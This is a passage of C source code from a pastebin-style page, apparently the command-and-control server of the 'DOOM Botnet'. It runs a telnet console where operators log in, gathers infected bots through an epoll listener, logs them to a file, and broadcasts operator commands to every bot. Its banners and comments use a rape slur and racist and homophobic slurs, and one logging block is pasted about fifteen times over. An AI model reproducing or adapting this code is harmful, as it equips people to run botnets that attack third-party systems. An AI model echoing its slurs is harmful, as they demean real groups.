  689. managements[thefd].connected = 1;
  690. continue;
  691. }
  692. if(strstr(buf, "CLEAR_RASTA")){
  693.  
  694. char RASTA1 [80];
  695. char RASTA2 [80];
  696. char RASTA3 [80];
  697. char RASTA4 [80];
  698. char RASTA5 [80];
  699. char RASTA6 [80];
  700. char RASTA7 [80];
  701. char RASTA8 [80];
  702.  
  703. sprintf(ascii_banner_line1, "\x1b[1;34m ██████╗ █████╗ ██████╗ ███████\r\n");
  704. sprintf(ascii_banner_line2, "\x1b[1;37m ██╔══██╗██╔══██╗██╔══██╗██╔════╝\r\n");
  705. sprintf(ascii_banner_line3, "\x1b[1;34m ██████╔╝███████║██████╔╝█████╗ \r\n");
  706. sprintf(ascii_banner_line4, "\x1b[1;37m ██╔══██╗██╔══██║██╔═══╝ ██╔══╝ \r\n");
  707. sprintf(ascii_banner_line5, "\x1b[1;34m ██║ ██║██║ ██║██║ ███████╗ \r\n");
  708. sprintf(ascii_banner_line6, "\x1b[1;37m ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝\r\n");
  709. sprintf(RASTA7, "\x1b[1;32m\r\n");
  710. sprintf(RASTA8, "\x1b[1;37m [+]-\x1b[1;34mWelcome %s \x1b[1;33mTo The\x1b[32m Rape Net\x1b[1;37m-[+]\r\n", accounts[find_line].id, buf);
  711.  
  712. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  713. if(send(thefd, RASTA1, strlen(RASTA1), MSG_NOSIGNAL) == -1) goto end;
  714. if(send(thefd, RASTA2, strlen(RASTA2), MSG_NOSIGNAL) == -1) goto end;
  715. if(send(thefd, RASTA3, strlen(RASTA3), MSG_NOSIGNAL) == -1) goto end;
  716. if(send(thefd, RASTA4, strlen(RASTA4), MSG_NOSIGNAL) == -1) goto end;
  717. if(send(thefd, RASTA5, strlen(RASTA5), MSG_NOSIGNAL) == -1) goto end;
  718. if(send(thefd, RASTA6, strlen(RASTA6), MSG_NOSIGNAL) == -1) goto end;
  719. if(send(thefd, RASTA7, strlen(RASTA7), MSG_NOSIGNAL) == -1) goto end;
  720. if(send(thefd, RASTA8, strlen(RASTA8), MSG_NOSIGNAL) == -1) goto end;
  721. while(1) {
  722. if(send(thefd, "\x1b[0;1;34m~> \x1b[0;1;34m", 13, MSG_NOSIGNAL) == -1) goto end;
  723. break;
  724. }
  725. pthread_create(&title, NULL, &titleWriter, sock);
  726. managements[thefd].connected = 1;
  727. continue;
  728. }
  729. if(strstr(buf, "CLEAR_LIT")){
  730.  
  731. char LIT1 [80];
  732. char LIT2 [80];
  733. char LIT3 [80];
  734. char LIT4 [80];
  735. char LIT5 [80];
  736. char LIT6 [80];
  737. char LIT7 [80];
  738. char LIT8 [80];
  739.  
  740. sprintf(ascii_banner_line1, "\x1b[1;34m ██████╗ █████╗ ██████╗ ███████\r\n");
  741. sprintf(ascii_banner_line2, "\x1b[1;37m ██╔══██╗██╔══██╗██╔══██╗██╔════╝\r\n");
  742. sprintf(ascii_banner_line3, "\x1b[1;34m ██████╔╝███████║██████╔╝█████╗ \r\n");
  743. sprintf(ascii_banner_line4, "\x1b[1;37m ██╔══██╗██╔══██║██╔═══╝ ██╔══╝ \r\n");
  744. sprintf(ascii_banner_line5, "\x1b[1;34m ██║ ██║██║ ██║██║ ███████╗ \r\n");
  745. sprintf(ascii_banner_line6, "\x1b[1;37m ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝\r\n");
  746. sprintf(LIT8, "\x1b[1;34m [+]-\x1b[0;32mWelcome %s To The Rape Net\x1b[1;34m-[+]\r\n", accounts[find_line].id, buf);
  747.  
  748. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  749. if(send(thefd, LIT1, strlen(LIT1), MSG_NOSIGNAL) == -1) goto end;
  750. if(send(thefd, LIT2, strlen(LIT2), MSG_NOSIGNAL) == -1) goto end;
  751. if(send(thefd, LIT3, strlen(LIT3), MSG_NOSIGNAL) == -1) goto end;
  752. if(send(thefd, LIT4, strlen(LIT4), MSG_NOSIGNAL) == -1) goto end;
  753. if(send(thefd, LIT5, strlen(LIT5), MSG_NOSIGNAL) == -1) goto end;
  754. if(send(thefd, LIT6, strlen(LIT6), MSG_NOSIGNAL) == -1) goto end;
  755. if(send(thefd, LIT7, strlen(LIT7), MSG_NOSIGNAL) == -1) goto end;
  756. if(send(thefd, LIT8, strlen(LIT8), MSG_NOSIGNAL) == -1) goto end;
  757. while(1) {
  758. if(send(thefd, "\x1b[0;1;34m~> \x1b[0;1;34m", 13, MSG_NOSIGNAL) == -1) goto end;
  759. break;
  760. }
  761. pthread_create(&title, NULL, &titleWriter, sock);
  762. managements[thefd].connected = 1;
  763. continue;
  764. }
  765. if(strstr(buf, "CLEAR_SMALL")){
  766. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  767. char small1[80];
  768.  
  769. sprintf(small1, "\x1b[0;37m*\x1b[0;1;34mWelcome To The DOOM Boatnet >.< S0Sexy!\x1b[0;37m*\r\n");
  770.  
  771. if(send(thefd, "\x1b[0;37m*****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  772. if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end;
  773. if(send(thefd, "\x1b[0;37m*****************************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  774. while(1) {
  775. if(send(thefd, "\x1b[0;1;34m~> \x1b[0;1;34m", 13, MSG_NOSIGNAL) == -1) goto end;
  776. break;
  777. }
  778. pthread_create(&title, NULL, &titleWriter, sock);
  779. managements[thefd].connected = 1;
  780. continue;
  781. }
  782.  
  783. if(strstr(buf, "LOGOUT"))
  784. {
  785. sprintf(botnet, "DAS SUM GGOOD MARIJUANA MAAN PEACE HOMIE I SEE YA DA NEXT TIME MANN %s Cya Next Time\r\n", accounts[find_line].id, buf);
  786. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  787. goto end;
  788. } // No fuckin time limit nigga we fuckin shit up !!!!!! :)
  789. if(strstr(buf, "99999999999"))
  790. {
  791. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  792. FILE *logFile;
  793. logFile = fopen("TIME.log", "a");
  794. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  795. fclose(logFile);
  796. goto end;
  797. } // max time
  798. if(strstr(buf, "99999999999"))
  799. {
  800. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  801. FILE *logFile;
  802. logFile = fopen("TIME.log", "a");
  803. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  804. fclose(logFile);
  805. goto end;
  806. } // max time
  807. if(strstr(buf, "99999999999"))
  808. {
  809. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  810. FILE *logFile;
  811. logFile = fopen("TIME.log", "a");
  812. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  813. fclose(logFile);
  814. goto end;
  815. } // max time
  816. if(strstr(buf, "99999999999"))
  817. {
  818. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  819. FILE *logFile;
  820. logFile = fopen("TIME.log", "a");
  821. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  822. fclose(logFile);
  823. goto end;
  824. } // max time
  825. if(strstr(buf, "99999999999"))
  826. {
  827. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  828. FILE *logFile;
  829. logFile = fopen("TIME.log", "a");
  830. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  831. fclose(logFile);
  832. goto end;
  833. } // max time
  834. if(strstr(buf, "99999999999"))
  835. {
  836. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  837. FILE *logFile;
  838. logFile = fopen("TIME.log", "a");
  839. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  840. fclose(logFile);
  841. goto end;
  842. } // max time
  843. if(strstr(buf, "99999999999"))
  844. {
  845. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  846. FILE *logFile;
  847. logFile = fopen("TIME.log", "a");
  848. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  849. fclose(logFile);
  850. goto end;
  851. } // max time
  852. if(strstr(buf, "99999999999"))
  853. {
  854. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  855. FILE *logFile;
  856. logFile = fopen("TIME.log", "a");
  857. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  858. fclose(logFile);
  859. goto end;
  860. } // max time
  861. if(strstr(buf, "99999999999"))
  862. {
  863. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  864. FILE *logFile;
  865. logFile = fopen("TIME.log", "a");
  866. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  867. fclose(logFile);
  868. goto end;
  869. } // max time
  870. if(strstr(buf, "99999999999"))
  871. {
  872. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  873. FILE *logFile;
  874. logFile = fopen("TIME.log", "a");
  875. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  876. fclose(logFile);
  877. goto end;
  878. }
  879. if(strstr(buf, "99999999999"))
  880. {
  881. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  882. FILE *logFile;
  883. logFile = fopen("TIME.log", "a");
  884. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  885. fclose(logFile);
  886. goto end;
  887. } // max time
  888. if(strstr(buf, "99999999999"))
  889. {
  890. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  891. FILE *logFile;
  892. logFile = fopen("TIME.log", "a");
  893. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  894. fclose(logFile);
  895. goto end;
  896. } // max time
  897. if(strstr(buf, "99999999999"))
  898. {
  899. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  900. FILE *logFile;
  901. logFile = fopen("TIME.log", "a");
  902. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  903. fclose(logFile);
  904. goto end;
  905. } // max time
  906. if(strstr(buf, "99999999999"))
  907. {
  908. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  909. FILE *logFile;
  910. logFile = fopen("TIME.log", "a");
  911. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  912. fclose(logFile);
  913. goto end;
  914. } // max time
  915. if(strstr(buf, "99999999999"))
  916. {
  917. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  918. FILE *logFile;
  919. logFile = fopen("TIME.log", "a");
  920. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  921. fclose(logFile);
  922. goto end;
  923. }
  924. if(strstr(buf, "LOLNOGTFO"))
  925. {
  926. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  927. FILE *logFile;
  928. logFile = fopen("KILL.log", "a");
  929. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  930. fclose(logFile);
  931. goto end;
  932. }
  933. if(strstr(buf, "GTFOFAG"))
  934. {
  935. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  936. FILE *logFile;
  937. logFile = fopen("KILL.log", "a");
  938. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  939. fclose(logFile);
  940. goto end;
  941. }//if you dont like this just take out common sense
  942. if(strstr(buf, "DUP"))
  943. {
  944. printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  945. FILE *logFile;
  946. logFile = fopen("BOTKILLER.log", "a");
  947. fprintf(logFile, "ATTEMPT TO STEAL BOTS %s\n", accounts[find_line].id, buf);
  948. fclose(logFile);
  949. goto end;
  950. }
  951. if(strstr(buf, "dup"))
  952. {
  953. printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  954. FILE *logFile;
  955. logFile = fopen("SMALLBOTKILLER.log", "a");
  956. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  957. fclose(logFile);
  958. goto end;
  959. }
  960. trim(buf);
  961. if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  962. if(strlen(buf) == 0) continue;
  963. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  964. FILE *logFile;
  965. logFile = fopen("report.log", "a");
  966. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  967. fclose(logFile);
  968. broadcast(buf, thefd, usernamez);
  969. memset(buf, 0, 2048);
  970. }
  971.  
  972. end: // cleanup dead socket
  973. managements[thefd].connected = 0;
  974. close(thefd);
  975. managesConnected--;
  976. }
  977. void *telnetListener(int port)
  978. {
  979. int sockfd, newsockfd;
  980. socklen_t clilen;
  981. struct sockaddr_in serv_addr, cli_addr;
  982. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  983. if (sockfd < 0) perror("ERROR opening socket");
  984. bzero((char *) &serv_addr, sizeof(serv_addr));
  985. serv_addr.sin_family = AF_INET;
  986. serv_addr.sin_addr.s_addr = INADDR_ANY;
  987. serv_addr.sin_port = htons(port);
  988. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  989. listen(sockfd,5);
  990. clilen = sizeof(cli_addr);
  991. while(1)
  992. {
  993. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  994. if (newsockfd < 0) perror("ERROR on accept");
  995. pthread_t thread;
  996. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  997. }
  998. }
  999.  
  1000. int main (int argc, char *argv[], void *sock)
  1001. {
  1002. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  1003. int s, threads, port;
  1004. struct epoll_event event;
  1005. if (argc != 4)
  1006. {
  1007. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  1008. exit (EXIT_FAILURE);
  1009. }
  1010. port = atoi(argv[3]);
  1011. printf("\x1b[32mTHIS SHIT PRIVATE,\x1b[33m DO NOT FUCKING LEAK, \x1b[34mDOOM \x1b[34mBOTNET \x1b[36mSCREENED\x1b[0m\n");
  1012. telFD = fopen("bots.txt", "a+");
  1013. threads = atoi(argv[2]);
  1014. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  1015. if (listenFD == -1) abort ();
  1016. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  1017. if (s == -1) abort ();
  1018. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  1019. if (s == -1)
  1020. {
  1021. perror ("listen");
  1022. abort ();
  1023. }
  1024. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  1025. if (epollFD == -1)
  1026. {
  1027. perror ("epoll_create");
  1028. abort ();
  1029. }
  1030. event.data.fd = listenFD;
  1031. event.events = EPOLLIN | EPOLLET;
  1032. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  1033. if (s == -1)
  1034. {
  1035. perror ("epoll_ctl");
  1036. abort ();
  1037. }
  1038. pthread_t thread[threads + 2];
  1039. while(threads--)
  1040. {
  1041. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  1042. }
  1043. pthread_create(&thread[0], NULL, &telnetListener, port);
  1044. while(1)
  1045. {
  1046. broadcast("PING", -1, "PURGE");
  1047. sleep(60);
  1048. }
  1049. close (listenFD);
  1050. return EXIT_SUCCESS;
  1051. }
Advertisement
Add Comment
Please, Sign In to add comment